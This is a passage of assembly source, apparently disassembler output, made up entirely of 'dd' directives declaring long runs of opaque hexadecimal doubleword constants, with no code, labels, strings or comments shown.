14393808h, 7740EBB6h dd 7AE29E12h, 0F5F486FBh, 2F35E829h, 7A24A0ACh, 2D6041Ah dd 366D2C5Dh, 0A0F54823h, 0E1C6A30Ah, 52D92A02h, 34D4F0BEh dd 73139BCCh, 3D705EEDh, 0CFC2575Ch, 14CCE10Fh, 261E6669h dd 0B0C29B80h, 44661461h, 361B214Bh, 1FF921A0h, 0DC3C819Bh dd 39152E8Ch, 0C6C176BCh, 0A8CD2760h, 40262018h, 0F8935BF2h dd 0EB8EBF25h, 8D3950C5h, 0B58F3DC0h, 0F6B606A7h, 64C7DE04h dd 0F3EA3604h, 9C7B2D6Ah, 0E41E3CBh, 691C9218h, 9DC2BBBBh dd 607BDEF3h, 3B097C7Fh, 549AEE45h, 9C36E26Eh, 0EEB20B78h dd 44B00ABh, 0F1F2CF1Ch, 0AFE1C7D3h, 518B8EFFh, 80F100A2h dd 440C28ACh, 30B0E53Ch, 67B8B167h, 3BB93EA8h, 21B1C8DAh dd 5AA371D8h, 3FC1FA85h, 92050B7Dh, 0EDBA0DB6h, 0EA2D18A1h dd 8242DC7Eh, 0CE6AEA0Eh, 548206B0h, 8A83C586h, 8E1E991Eh dd 0B22C6541h, 13C56095h, 0EB1EEDE2h, 5F6D92D9h, 51275FEh dd 0B892707Dh, 37CEEDB4h, 0ED525957h, 7C29E610h, 90E5AF7Bh dd 0AA95F23Dh, 0C4F3118Fh, 295B1611h, 0FCA650F0h, 0EA29FA7Fh dd 6EDD8AD9h, 8DBD4008h, 8216AD98h, 0C9621FFEh, 0B4F2411Dh dd 0E0B336Ch, 0D525BD7Ah, 477BB654h, 71E528E8h, 0B77BCB59h dd 2A5DF181h, 7565A7F4h, 0D6B89DC7h, 39AD281Fh, 77D76996h dd 8D0DDBE9h, 0BDCD5815h, 0CFF597C4h, 9B1688E1h, 37B189D8h dd 0CCE3DACBh, 0B0BCC1A8h, 84210BF0h, 59DEAD8Bh, 0B63708A0h dd 0D1E6361Ah, 6631D345h, 1C47D707h, 7EAB1F96h, 0B5B89A3Fh dd 40D07896h, 65063044h, 0B5AA04FCh, 2009DC29h, 0D5DFE6C8h dd 0BC982D2Eh, 5F7DE1BAh, 0A0D46E04h, 0A0BEC45Fh, 1F84F7C4h dd 6D82A07Fh, 76E61ABCh, 5A3A90EEh, 0CDF2BE6Fh, 635C520h dd 9B6B6F2Ch, 2D7DD910h, 81B1DFD5h, 35AAAB55h, 934384E9h dd 0AAE7B081h, 0DBAF7725h, 49BD0D8Eh, 985C759Eh, 877B5C8Bh dd 322F71Fh, 15C65B28h, 17FA78D6h, 78B029A1h, 8020F0DDh dd 83CC9EFEh, 0B472B9F4h, 3C476B98h, 814FC96Ch, 61404D8Dh dd 0E389DD66h, 0BEB2E2C9h, 0EE414338h, 966159F2h, 305C949Ah dd 2BD2B06Ah, 0BCAD24DCh, 0FA803014h, 0F97749FAh, 393634D3h dd 6AD7B249h, 0FE96350h, 2922D4C2h, 0CCFAD0DFh, 231A2E11h dd 1B4A71EFh, 3DC5E685h, 9936837Ah, 79FE9DDh, 0A0268D5Bh dd 2BA2083Ch, 61EE900h, 0FA493209h, 43406CFCh, 0E1F8E525h dd 56FAC749h, 99E69F70h, 67763096h, 540AFAC5h, 7FC2D935h dd 50A14ECDh, 0FFB0FD62h, 776F8892h, 0C2A0C733h, 3DB0C09Eh dd 71FB4808h, 49851901h, 0B81434A6h, 8A3C34F4h, 0A6F1EA1Ah dd 38BE1EFFh, 17D6FD4Bh, 0C51E7096h, 433A2E9Bh, 0B9959E4Eh dd 82613150h, 0F9D01821h, 86D47A70h, 9B2D3995h, 1F18FEDAh dd 63C90D96h, 0F954A7D7h, 4042A254h, 5C4E4FD6h, 0B7F21682h dd 0FD8B2374h, 0CEEAEE27h, 820567CBh, 750842BFh, 0DDFFE54Dh dd 0EC62E4C3h, 2C9E582Ah, 31458841h, 0D1544C23h, 0EB9454C8h dd 26798F12h, 0D044AE65h, 2FF10326h, 24DC5993h, 62BF9634h dd 7D3EA09Fh, 0AF682572h, 24265DF0h, 0B89DB36Bh, 4CA24B3Bh dd 338825Ch, 402CD718h, 0BCFF1D79h, 0F8B7F83Fh, 0B5A13DF8h dd 536026FFh, 3B539C99h, 1D50D9F0h, 28118B03h, 0F5C4CD1h dd 6B2B10E3h, 5B7338DFh, 0F7E8E0A7h, 4C58754Ah, 71BB051Eh dd 3A38F09Eh, 0C343A258h, 0F4956828h, 31B0349Ch, 9FACEAE9h dd 43C2496h, 86713952h, 0E782D025h, 13B4579Eh, 7DEFE29Bh dd 0A80D460Bh, 9BC8065Fh, 0B060E375h, 5E6132Bh, 2FC37905h dd 9694F2A8h, 1F0147A8h, 0E001A67Fh, 0D531976Dh, 7382FB2Fh dd 7DE4CEEFh, 0DB518976h, 1C4D774Dh, 455C9501h, 2F62245Dh dd 45FA1927h, 0FA153381h, 84CE97Eh, 17129FE5h, 120A5957h dd 0F7E024C6h, 0AB10219Ah, 5982882Bh, 62E37BD9h, 1537A37Ah dd 577BDE1Dh, 6A97F08Bh, 0A9ACD3ABh, 4F78680Ch, 5EFDB904h dd 0DC4C6564h, 0BDE0B789h, 8C1BD0A4h, 2027168Ah, 27C78143h dd 49B5B08Eh, 599A1789h, 0D7EE5B49h, 5DD85204h, 0FEF30941h dd 0EBE49BE9h, 0D426DE17h, 75000F61h, 0CA55F64Fh, 92AC497Ch dd 0D0F994D2h, 226483F4h, 0CAB1E36Eh, 0AACA8EDCh, 0C3E94682h dd 8CE05338h, 996A28C6h, 6270A46Bh, 0C5337B52h, 0F95BF892h dd 0E548860Bh, 8F6A642Bh, 0D6541AE3h, 0A12417C4h, 8E5A09ECh dd 7F610B71h, 6401D060h, 41D16D2Eh, 1CE145Fh, 68C813F2h dd 5982A839h, 677E6064h, 0DB1F72B9h, 4C4100F6h, 34D5289h dd 0BD1373BEh, 483BEB49h, 0ADF3371Dh, 1748152h, 9B2379Ch dd 9D86E329h, 0FA4DFD53h, 0A8529BD4h, 6A29635Eh, 0A83A41C5h dd 31184ADEh, 0A315416Fh, 0E5781063h, 0B31D4FC6h, 5595FCB9h dd 7BD0727Bh, 6AF7F9B0h, 33791698h, 9B6E36B5h, 0DC9A8362h dd 0D0638304h, 289D150Fh, 0A0E3ADF4h, 9CB5B836h, 0A722C48Eh dd 4CE9A02Ah, 0E7B865F4h, 1A256278h, 0DD54301Ch, 7408D184h dd 3FF5459Eh, 2AEFC975h, 0F753D835h, 6D00A27h, 61A53A66h dd 18C5005h, 0E36CDDFh, 61824A8Bh, 982EBCCBh, 13C49A6Eh dd 0E355C54Dh, 0B5FE6D0h, 0D9D91E3Bh, 1192797Ch, 1C31AFC5h dd 0C3075284h, 7EEF98CBh, 0A11487B9h, 5C28585h, 76ADBB5h dd 69A4F46Ah, 0A34C237h, 0A7299763h, 0DE94E864h, 4DFBAD6Eh dd 85814446h, 3E74F76Eh, 0E109055Bh, 0F088E56Bh, 0D96F418Fh dd 0EFA5C401h, 50839823h, 7A53640Bh, 0D5C3E49Ch, 31482772h dd 0C34F577Bh, 0B2BD3F68h, 0CA389604h, 55A306BCh, 14565F44h dd 0B484339Ch, 0D566AD8Fh, 2D6B043h, 96A96F92h, 0E8880F6Fh dd 9A962883h, 0B7A3EB0Fh, 0A94A76F4h, 974A8A95h, 27C554EFh dd 0E5226391h, 0FA9D77E9h, 0A5E47F48h, 456C1CABh, 0ACA8C865h dd 1D1B6A4Ch, 360A471Bh, 0C377ABE0h, 9CD24D34h, 3FAA65DBh dd 5511A46Fh, 0A3972F5Ch, 50E1E35Ah, 8B5EFD26h, 776903EDh dd 874087ADh, 0EC091755h, 99F6582h, 33D746C9h, 9B259F29h dd 0B06DD234h, 4D922DE5h, 80E0C4C5h, 6E00A85Fh, 10C660B0h dd 0A3CD3710h, 8D7F44CCh, 0B4FDB2EAh, 0E3EEFA52h, 0F1B519Fh dd 2C58BB85h, 0F8061993h, 0FB92E524h, 0AD49FB87h, 0EAB38473h dd 0A5128A33h, 0B638E05h, 1C4437C4h, 6509BF25h, 0ECEE740Eh dd 2292C085h, 93281BDCh, 0ECED3BBEh, 7977BC4Fh, 0AB418E4Ah dd 8B7F560h, 420FED16h, 2EF85580h, 497CBCBFh, 1C8DDE30h dd 46985658h, 7F7E3A59h, 0CD7FE692h, 94D208B4h, 0E768B202h dd 2D8E67D6h, 3B2416F0h, 0B80F396Eh, 6EEFD146h, 0DCF44100h dd 8DD86DF1h, 0E9F1A1E8h, 0E3985BC7h, 29F3D175h, 6F4C6BEh dd 0B9605318h, 81C08366h, 0BAB4998Eh, 4E3368BBh, 0D2B14E81h dd 4A912BDh, 0C534924Bh, 0AD0432Bh, 0FC15BA4Dh, 43A7BE70h dd 0FF50CE29h, 223FE97Dh, 3982C9B0h, 0D1BD57F6h, 14B15DECh dd 2A341EC1h, 2FC266FDh, 968E2486h, 39BA25BDh, 0EE4B3F01h dd 3047E819h, 734FB362h dd 3A128C8Bh, 79A25E67h, 86BD2D42h, 0EF1DE6CAh, 0A5416344h dd 98842144h, 0B07047D0h, 0DF627B2Eh, 8B4A2541h, 51EF1EBh dd 0C4C8A97Bh, 70483E82h, 721090E2h, 0FD8EEC51h, 0C58D5FBFh dd 0B18C76B2h, 25CB4465h, 550F7BC1h, 0CA4388A5h, 22EB55FCh dd 8704E7D9h, 6D73C360h, 1BB34EBAh, 0AD7F3528h, 327247FCh dd 88E7F3B1h, 143D0476h, 0BC02714Bh, 86D7EAD9h, 0CCF93DB5h dd 5B12D677h, 3ADDF3Bh, 0C60D61F4h, 95B8D57Dh, 99C1F9D3h dd 463954D5h, 0F384C7FFh, 0CFBEC8ADh, 9CDB60D6h, 0E476172Ch dd 3A80C1F4h, 88374EE6h, 879EB35Ah, 3650F013h, 1C5A7BD5h dd 7E6AF0C1h, 0E564BA5Ah, 268AECE7h, 0FA19180Eh, 0FC4EF094h dd 0A3C12327h, 0D7E3A8Eh, 0B773D5CFh, 99EDB484h, 0E4FC3FD9h dd 0EA9438F1h, 0EF77FE76h, 21EF072h, 3B155620h, 862F3DC2h dd 0F390EA95h, 79E2B597h, 44572219h, 0BF1DBC88h, 0F40384A8h dd 0FB782E06h, 4F949895h, 29EE64B0h, 0A7D2A2ACh, 0B883E2D6h dd 32EE3C83h, 0D30FE5DEh, 5BAC6476h, 75F93A65h, 10C6F701h dd 6DB51714h, 0B288CC52h, 867CB6A5h, 88398793h, 0FA25DD74h dd 87AA4CB2h, 6579A107h, 58B90736h, 79586515h, 0FA9F89B6h dd 9AD3E451h, 0BB9B26DAh, 0B13B7CC7h, 0B6ACC43Ch, 617AF661h dd 49C72FE5h, 7D718AFEh, 9B8FDB3Eh, 983FA5CFh, 20DC98D4h dd 9CEA78Fh, 0E7DB7DE2h, 86C8F752h, 9E3FFB46h, 17552FAEh dd 9509FAEDh, 0A4DE56D1h, 6B8DE7A3h, 0DF25C1B1h, 0BB7EA917h dd 2D780A02h, 38C3E7ACh, 0BDF10BC2h, 22E32904h, 1CCEDCCh dd 40AA197h, 8D54385Dh, 0C29271C9h, 27C6A3E2h, 0C84ED983h dd 0C1896D5Eh, 25A4BA58h, 89182062h, 0D5E69743h, 6AABEFE6h dd 0B4829500h, 0B48D11A6h, 69BDC59Bh, 0C5069C2h, 0B75B83A5h dd 80A58ADh, 57DF6095h, 0B3180C4Eh, 927AC4ADh, 0FA3A998Ch dd 662FADC7h, 0FA9ADE6Eh, 0D130DA0Ch, 54DF2BB4h, 1480F24h dd 9671DA34h, 2D1B356Dh, 31A5CBFh, 67773639h, 9A828691h dd 36F437Fh, 0C6889CFEh, 3870E0C1h, 1B430917h, 4341E652h dd 7B397892h, 0F2F8E444h, 78A9E43Fh, 0A2974650h, 0CEE76AA3h dd 3447AA88h, 0B4406A7h, 35865BB5h, 7FBBF5DAh, 0A7A52C9Dh dd 0D17138BFh, 0C2133722h, 5C0CE95Dh, 5B1CE4Ch, 0FE5D3610h dd 0D2AB3571h, 604B6343h, 3EEE46D7h, 63607DBCh, 8E0E0FADh dd 0ED943CB5h, 0B46FB344h, 698E405Ch, 3D3A6CA3h, 5B7A0415h dd 839928C8h, 965A62A9h, 97947F39h, 2FB55D2Ah, 968F25B5h dd 0B9E972D5h, 7A5DECF8h, 0ADA3B078h, 0F332798Ch, 0FE0FBECh dd 57051C91h, 1C31F5C1h, 0F7746455h, 0DC569E45h, 0D4DDA9DEh dd 232BAD01h, 8347FD42h, 78195075h, 8C835B70h, 89B3F5D5h dd 0A19D38AEh, 0E00F34AEh, 0FA99551Fh, 5BFA790Ah, 9D4BFFh dd 0B9920B5Fh, 0F89F6BDAh, 0F92DFD7Ah, 0D3DE79BEh, 9149B921h dd 0F7996E41h, 407D827Fh, 7A591390h, 21D87A70h, 811134E2h dd 57B2CD47h, 6DE37B66h, 51EC6574h, 0BFAC7ED7h, 16F09249h dd 46686896h, 0C075E2B0h, 0A493ECh, 39E30D61h, 6098E24Dh dd 0D413D8B0h, 0CC333E6Eh, 70170AB2h, 73F7A07Ah, 73101D1Ah dd 0E09CEC0Ch, 916BF7F9h, 3360381Bh, 64BBE78Ch, 0F9E1DB8Bh dd 0C1CBAD6h, 3FFAE051h, 0A1D0FCF8h, 0ECBB6B51h, 4A3E41C1h dd 410DED67h, 0FDEDAB5h, 0EE074F27h, 83474C61h, 12B3AFBDh dd 0D0EFC0C2h, 0EE0184Eh, 685749B6h, 63234989h, 3E0C40B4h dd 6B4A756Eh, 0E31CF05h, 51E1797Eh, 6F3505EBh, 0A8BD7B84h dd 0F2AA5217h, 3D80D4B5h, 321B349Ch, 41D72ADDh, 73D951E5h dd 74E61EECh, 0BBA5DB03h, 9DA76884h, 0DA8EF897h, 769CE881h dd 7D53137h, 2E47DCFCh, 0AC29B94Dh, 5004E57Dh, 0C8154CB8h dd 0AB98C58Dh, 0EF48BFD2h, 2AAFFF96h, 0FC60903Ah, 4B68071Dh dd 6CE0B0F3h, 44F09851h, 6D7EFD2Dh, 29E37B93h, 0DC9F63C6h dd 94C9FE08h, 3FBE3551h, 0F26B263h, 1156C6FCh, 5270164Ch dd 294E517Bh, 24B05A9Bh, 15C2CF8Ah, 0C035047Bh, 576C7F5Ah dd 1CC3657Ah, 0CC01800h, 9728802h, 191CEC10h, 0C21EDF74h dd 9576E532h, 0F724D5CBh, 70784116h, 6BC0095Fh, 0B49DBB5Bh dd 173F43B6h, 0AF4E36D6h, 249E1A79h, 0A5F113B1h, 7486ACB1h dd 0F1C779C3h, 0FDB82335h, 0E8783E76h, 0B5EE08E6h, 8AAF7B2Ah dd 86EDE154h, 0F863F7BBh, 1DD4358Dh, 0AB8B5E60h, 32AE9450h dd 8902C740h, 0BD11F40Bh, 51394F9Bh, 2C4E25DBh, 0B671E924h dd 1A3C08D8h, 5C3117FAh, 47F3EAC5h, 53F35A4Ah, 0BF378DB9h dd 4BECADC3h, 75B0A585h, 31E3E7D6h, 6B1E849Ch, 0FD306C5Ah dd 0B820B48Bh, 4A1D8551h, 3C5F7E7Eh, 0C3979E76h, 3FCA787Dh dd 0CA2BCA1Bh, 8102A6FEh, 2DED5578h, 0DFBA38EBh, 351F20F2h dd 3B6A231Dh, 1E7CAF2Ah, 63694A51h, 7A26CA76h, 0D11D79ACh dd 35EFF08Ch, 82D9EB7Bh, 39C07AFEh, 0A62C0990h, 0C7E98659h dd 0F73A7BEEh, 0DD849452h, 5355D94Dh, 4C50D7C2h, 1393B3A7h dd 367AB8A6h, 0C70328EBh, 0CB5DA0A3h, 20DB0894h, 0D4AAE52Ch dd 62ABAD23h, 45B16A00h, 49802F82h, 6A1AA3C6h, 146B6B29h dd 9B7ED102h, 0A55A0049h, 0DEAA9E43h, 496427Eh, 0EA44A14Ch dd 0CCFA059Bh, 0FAEF42EDh, 77461E3Bh, 42FAB330h, 0A69113Fh dd 0A0F88715h, 0F083D30Eh, 71AC029Ah, 45C12869h, 75D9787Ah dd 68B20EB5h, 0B34CA80Bh, 7178E7E2h, 490025F1h, 0C8D68F80h dd 607FBE0Fh, 0F306DCCCh, 446608EFh, 0F49750E4h, 329DE1D3h dd 0B1BD6D4Eh, 1F77AF27h, 717AB7DDh, 0FAA21C8Fh, 9461A53Eh dd 91700470h, 98A34824h, 5C249C09h, 0AAE93BFBh, 0BE1CEF57h dd 8C13808h, 95250B90h, 5E0A10E6h, 0C92A9C94h, 25CBF759h dd 0F0799B54h, 0D4E2B250h, 924119D0h, 7342D5Bh, 0B61E60D8h dd 0CF66BBBEh, 5B0EE87Eh, 0F987C3D3h, 0CDC4F1AAh, 0F86A978h dd 6A9D38FBh, 203F7F49h, 0B04DC2B5h, 46AED623h, 0FC362B9Ah dd 0BAACDA1Eh, 4996D8Bh, 33CBF0C3h, 43A68FC8h, 0BDE457B1h dd 7A9C5BB1h, 9AEB0DB5h, 7823EC29h, 0F6CD4769h, 0F39950B9h dd 0A514D858h, 6E1B3C26h, 0E4F16D60h, 1E407044h, 0A67AC5BDh dd 1215D214h, 267B5915h, 5421A5EEh, 337B1527h, 63C51A41h dd 268A8B78h, 93FBA703h, 917ACD10h, 0AC4B356Dh, 0E366FAC9h dd 5B4A892Dh, 0C16361Ch, 95C4A910h, 0A0F7DE2Ch, 0D2A6573Fh dd 0D3EF9718h, 0B3D9AF76h, 64540C82h, 0C85E0C67h, 854775FEh dd 0C01BAAF9h, 104F4E7Ah, 19D69312h, 1C47D737h, 205407D4h dd 0DBDDDD5h, 312A2629h, 436C4C78h, 0E86C6ECAh, 51EC2AA2h dd 0FA48EE32h, 0BFF624BAh, 0C82761F2h, 685EB52Fh, 0EA16B713h dd 0C773B7F3h, 2C9F9003h, 4A11B05Bh, 658DED40h, 722E09BFh dd 0DDFA1F37h, 0D9A86D07h, 85A11A3Bh, 0F2977B19h, 623FD79Ch dd 0E5577714h, 5F011832h, 9985963Ah, 0B45E3FCEh, 0F946FF45h dd 216DFAAAh, 8F28949Fh, 0BD5FC5BFh, 0AD9A8121h, 12E7D4E0h dd 2478EE95h, 48D444AAh, 117D248h, 8A4DAFE9h, 0FBAA920Bh dd 0F0297DFBh, 0BE0868BBh, 0F5F6FD85h, 0FE5BE8C5h, 8BE0E1CEh dd 0BEA0D5CBh, 40305B2Dh, 1A0B2AE5h, 0DD0D2BBDh, 0C912397Fh dd 6360B54h, 8C528461h, 7FA0BBDCh, 0EB4296D8h, 25B26963h dd 211D6C11h, 6619A329h, 0CCA01B65h, 0BF81F2F5h, 7A7C1977h dd 9AD7EBC3h, 0F5AC4FB5h, 59AD128Bh, 0A6BC1BE6h, 0EDC8F844h dd 0C19601A9h, 0B46FDC5Ch dd 0ED88B44Ch, 0A865B249h, 0BAF015F3h, 0F59846ACh, 0AEA9389Eh dd 0C1CB4240h, 875D8B66h, 67AB1925h, 0E4D82CEEh, 0B5A28ED5h dd 51E8120Eh, 833B599Ah, 6A36E8C6h, 0C4928D9Bh, 0FA3AF506h dd 3F2AE59Ch, 0E32694Dh, 9AB2D8E4h, 25E36AF5h, 0A5CDCE29h dd 0BEA9AFDDh, 3993F078h, 0F6DD651Ch, 4A17D75Eh, 65A7E7B3h dd 0A2E47CD4h, 108E4935h, 0ABD12E8h, 0CC7B8E0h, 0FF427B32h dd 98E4B669h, 7C0D43F4h, 0C4325821h, 22D95BD0h, 0A9404EBCh dd 0F39303BAh, 4DE5F05Fh, 7E9099E0h, 0A9FF50EAh, 0D1C8E967h dd 12D33380h, 0C3CC3746h, 0DC9C5DC1h, 205179ADh, 8A14E392h dd 0D0E78D5Dh, 0E2D38F86h, 4756E56Ah, 0B1371208h, 0BDAF192Ch dd 0F8F46E94h, 0ADE1E314h, 40CB1CFCh, 0E8452D59h, 0D9DDCADEh dd 0F465D084h, 0FAD0F522h, 0D7A2D2BEh, 20A12077h, 9BF7B93h dd 4BD9067Ah, 0B28CD524h, 83F3019Bh, 29CBC16h, 0FEC868DCh dd 0E0216CDEh, 8B89B729h, 2585B9E5h, 707C2B97h, 1FDE4144h dd 57D4F63h, 3DDC2C47h, 0AFEE2B40h, 0FC562628h, 0F847E109h dd 44353A03h, 0B2049F2Ah, 6A186E08h, 0CFBACD1Ah, 4C923E15h dd 0CFC1B0DAh, 0D814C9AEh, 3DC4C650h, 53D97FFCh, 0F13FF9F1h dd 0AA944639h, 9D2D1A02h, 8338C7Fh, 6A4729E7h, 1C01F6E5h dd 34A210FDh, 0F960B53h, 746C0E2h, 95C98C6Eh, 0F09C9899h dd 2851A753h, 1A07939Eh, 0B070FBCBh, 233F37DEh, 43108D23h dd 0B28859DFh, 0BBB575F1h, 0B8F95011h, 0E3301AE5h, 29967861h dd 0DA6C4AEFh, 0E119A211h, 0EE6EA750h, 2B2DA4Eh, 0A67C5238h dd 0C1C10697h, 0E05303EDh, 973566C8h, 6B6451FCh, 434BAF4h dd 12553BFEh, 595668B3h, 41E0FB0Fh, 0DEB377FBh, 0E1D3B47Dh dd 450D7A87h, 22AC76h, 0F071DB90h, 0A1EB5F5Fh, 78478B89h dd 0E2CF93E6h, 9B49041h, 11A7BC7Eh, 0B176E428h, 9F1030A9h dd 0AE45B8CCh, 0F7716FC4h, 48256ACBh, 89C02E6Bh, 35E3BC35h dd 0DAED0FDEh, 79A36288h, 666E4A40h, 2A2AB1B4h, 96D8341h dd 5DD29BE5h, 79560CF8h, 0B819CF9Fh, 73E411Ch, 0FA1A8C0h dd 0F432FECEh, 9DF569A5h, 0BD25341Ch, 0D6CC4A5Bh, 0F883ECA6h dd 4A063BF0h, 57D9ECB7h, 716434DCh, 7CF053E6h, 0F7B2F184h dd 0E438655Eh, 4E12DAAAh, 1C379B9Fh, 0F39E271h, 4686BBC0h dd 0D1C9AF45h, 0F6DEB2CFh, 0C797AEB8h, 74EBF44Bh, 7A2F9244h dd 0D060C1A0h, 27DB3F65h, 26D99BCFh, 8CFC1981h, 0DDFC4904h dd 19E8A93Ch, 682BC140h, 71E4AF38h, 4605C7F9h, 9AE332F9h dd 0F32FC03Eh, 0EA881DE2h, 0D2D9550Ch, 7FA3A9C3h, 1AB0E30Ch dd 11F97EACh, 0CD688E2Dh, 568205B0h, 264088D6h, 0F5E6F277h dd 0CE40DB96h, 0F806CE4Bh, 7D6052CCh, 16504154h, 57681728h dd 7093BB8Fh, 9842FC4Fh, 0C3431E4Fh, 34109F44h, 0FC4DD12h dd 0CC7FE14Ah, 57F36037h, 993F8EE2h, 386FDB46h, 7A410Dh dd 0ED0CC282h, 0A7AFB942h, 9F1BC8F8h, 1E7E90Bh, 7987F0BCh dd 0E55D4F98h, 0EEE189AFh, 0F28F4669h, 2525D477h, 0E6EBB81Dh dd 33E77CEFh, 0EB02F678h, 9CD24FD0h, 0A4F1AE82h, 0A7D1FCE9h dd 0FBD85739h, 0C9A44472h, 137C5D91h, 6543BA38h, 0E8FB3270h dd 0FBA6602Ch, 12E9E123h, 0B09D7AB7h, 0D91995C8h, 0D27DEBC4h dd 0D239C401h, 0FF15C449h, 7BA8A08Dh, 0A145296Eh, 0BB234C18h dd 2D35C0A5h, 785C734Ch, 28C2C94Fh, 0C6E08E1Bh, 871F5D21h dd 0B50F606Ch, 60643F35h, 794579A2h, 95691370h, 9A803D83h dd 820E0293h, 0C2C8498h, 1A1AC612h, 425FDB2Ch, 0DFF635DFh dd 0AF0F1112h, 45C1F7A5h, 0B79554BCh, 1C1CCE07h, 3C1666D3h dd 0A9E03F61h, 0F25DB76Ch, 336DA2B9h, 0A9DD1865h, 0E9D2F639h dd 0D1841F9Fh, 58BC2478h, 0CA9AF199h, 0EAD623E4h, 0F4A45C86h dd 0AE76D1D0h, 0B5D12A5h, 0C5D71E72h, 3A985DF7h, 1EAE2767h dd 8F5319F2h, 0E83DF53Dh, 0C59BF08h, 6021C159h, 33CC4985h dd 0CE22CC4Dh, 0D87DADEh, 4A35E0AFh, 11BDB404h, 1D74959Dh dd 0A29BCDF0h, 6810E809h, 8FF81B96h, 0ACF54E7Dh, 859369CBh dd 7C9AC2ECh, 38A792DFh, 0B4754A2Dh, 76BA7820h, 7EF40ECFh dd 5E315570h, 59B02Bh, 0C6A032FEh, 0DB8EF9BBh, 0DE2CCA2Ah dd 0C23AA99Fh, 0E62531ECh, 4370E0FEh, 0DEA2F150h, 0ECA701B3h dd 0FA2C861h, 0E03B4B44h, 366D0A4Eh, 0D1DFF887h, 0B83198AFh dd 5A5196C4h, 84B77A3Ch, 92B03DA7h, 3B1F5F06h, 8AB08AA9h dd 5E91EB41h, 0A404CCC8h, 63702EB6h, 7DC6BA35h, 0AA07F0E2h dd 0CFA64245h, 4D7C786Dh, 22B7659Dh, 6F5CA8C0h, 4DA0370Dh dd 0CE3CFC5h, 0AA9A3DEEh, 7D44C2D7h, 9C8BA900h, 0E15F359Dh dd 3875171Fh, 552EAC8Dh, 0BA9D2706h, 0D03A5EDEh, 2650DAC1h dd 5A2F9F15h, 8E620952h, 0CFD679E6h, 2CB3AD0Bh, 7281884Eh dd 7015DF04h, 0BE221244h, 72EB356Ah, 0BC9D7F68h, 722FCECh dd 814BD8F5h, 0F90C7EEBh, 0AD5766E9h, 0BBF015F4h, 868F24E1h dd 8001361Fh, 0C1E2562Bh, 524477A9h, 0B8996A92h, 42174D20h dd 6222C5D3h, 53D2237Ah, 3F7A827Eh, 0AE8C2C9Bh, 8C4ECAE0h dd 72A734A6h, 0D472BC9Bh, 5AEFF097h, 52605857h, 28A205AAh dd 4C26CCF8h, 0D0E9EAB5h, 1282BF46h, 384E7A33h, 4337A8A7h dd 4C05A02Bh, 90B7B3BBh, 893A94E0h, 4846C06Bh, 96EFDF94h dd 0AD5E869Fh, 248461F9h, 0A92C8C3h, 0A7854E3Eh, 9051225Eh dd 0D4DBECBCh, 0C95B1393h, 0B6F5A88Fh, 0BCEB92BBh, 5991E176h dd 0CAA53C8Eh, 6322B5B0h, 776E98ACh, 51905240h, 26D17714h dd 0E9AB95E5h, 64AB1060h, 0C7791D7Dh, 728A3E32h, 28A703CCh dd 4344596Ah, 8DEC9A68h, 8C7D4E33h, 0A922F9E6h, 0ACEF5FA4h dd 6D74455Eh, 89651688h, 0C6E1CC5Fh, 835C42AEh, 829C2D18h dd 7A9CD796h, 90BEE5D9h, 0FAB2BE8Ah, 6AA1B04Bh, 12C27C9Ch dd 225BCE98h, 577BF3C9h, 2E3408E4h, 2E943BCFh, 0AAE36CE7h dd 5DBC8481h, 0F70B51B2h, 842FF213h, 2744A305h, 439BE374h dd 0D8A4C7FEh, 8FDE1E05h, 1964808Eh, 0AEFD78DBh, 0DF7B8E00h dd 0CBD3A293h, 2DB7AB3Fh, 0D09AA4B8h, 1A352954h, 23FF625h dd 239EDA5Bh, 0C69E5C5Ah, 77D151CBh, 0B67FF34Ah, 1A61B325h dd 31CE53D8h, 79593C00h, 2C109095h, 94CD95C6h, 0A5CD16E2h dd 0C0B2D092h, 1C7E1C66h, 0A14F697Ch, 885EF7A4h, 0B3A46E81h dd 0D06E3078h, 300DD0Eh, 305384C3h, 0FC9A33BDh, 568AF153h dd 39EAEE75h, 2FDEF040h, 0FB5811CFh, 514BBEACh, 0AB4D8909h dd 0E634E6B1h, 0CFB02919h, 0F5F82660h, 4F23739Fh, 0E653EBBFh dd 8EAE1C28h, 0D7399D43h, 175A9CFBh, 0F370F9B8h, 940AB098h dd 14432850h, 31F5AFBFh, 166DDEA4h, 0A876E8ECh, 452EE048h dd 0FA2FC010h, 866C3C20h, 0F8EF486Dh, 0FA687EE2h, 3B404F30h dd 223A2C89h, 0BCC4B94h, 0B4B4332Ch, 4075DAE6h, 6B44C09Dh dd 0E0A5FF07h, 0D1F06B7Eh, 5BEB48C9h, 0D6DF4E6Ah, 7F9D579Eh dd 357331AEh, 644D304Fh, 98DFFA2Bh, 54ED97DEh, 0F86AA20Ch dd 37844AEAh, 4CEEA281h, 0A386BB91h, 1105D4A0h, 6C5A1853h dd 33A03351h, 714298F0h, 0EEA6F43Fh, 78539B48h, 0B3E48155h dd 0B851FA46h, 3FD06AF4h, 0C4151AFDh, 6EBA149Eh, 0D1318812h dd 0C4ECD825h, 94BBE831h, 2CAB34FCh, 5C5E7BAEh, 81C7EF9Fh dd 6883927Ah, 51F6CF7Bh, 11D2F087h, 0B0C3426h, 40A93ED3h dd 3D8E6C61h, 0B6D48A29h, 0E022E116h, 1AA03926h, 7F929FC7h dd 0C72E9C2Bh, 894A57Ch dd 0AB1D7F0Dh, 9250A594h, 795ACE1Ch, 0A28979BFh, 0B0D958BFh dd 0F659071Ah, 1A08935h, 99C5E663h, 0A3030081h, 0BB5ACF0Eh dd 0F836B524h, 47226394h, 0B8D2C413h, 0D59501D2h, 0E8A02182h dd 7C5E8175h, 0A27996D3h, 0F0349E41h, 293898CFh, 0E4DD3362h dd 0B9739E6h, 194C3752h, 936BBF56h, 0BF5DE11Fh, 0A01CAFB0h dd 0DC728F1Eh, 0E4855338h, 31E31A1Ah, 99342533h, 0AC5032E3h dd 0D2E03F83h, 0E98AAA5Ah, 5336CBD8h, 19DD6622h, 3D3730CBh dd 39842FCCh, 8098CE40h, 9E1117Fh, 7E6FEA5Ah, 62447CF7h dd 58989237h, 0CE089486h, 61BC48BFh, 6EC262CEh, 7F18843Eh dd 66E74BA7h, 814688B6h, 1410FA2Ah, 2F9DDF0Eh, 0A8011CC8h dd 0D6783A56h, 0A003BB12h, 2150CDDEh, 2AC39998h, 7BAC12FEh dd 71C2E4C1h, 82EBD3C1h, 435E66D9h, 842C0C7Fh, 0BFFAF2B1h dd 9C50FDFh, 0AF7A1AD8h, 97D60E77h, 304ABB10h, 0F58B3D1Ah dd 0F50CA3C1h, 38091DC5h, 0AEB92B8Bh, 68A7D40Ch, 2F47B08Eh dd 0B34C86BDh, 0C6166683h, 5AD84E40h, 9E144172h, 35FADC2Fh dd 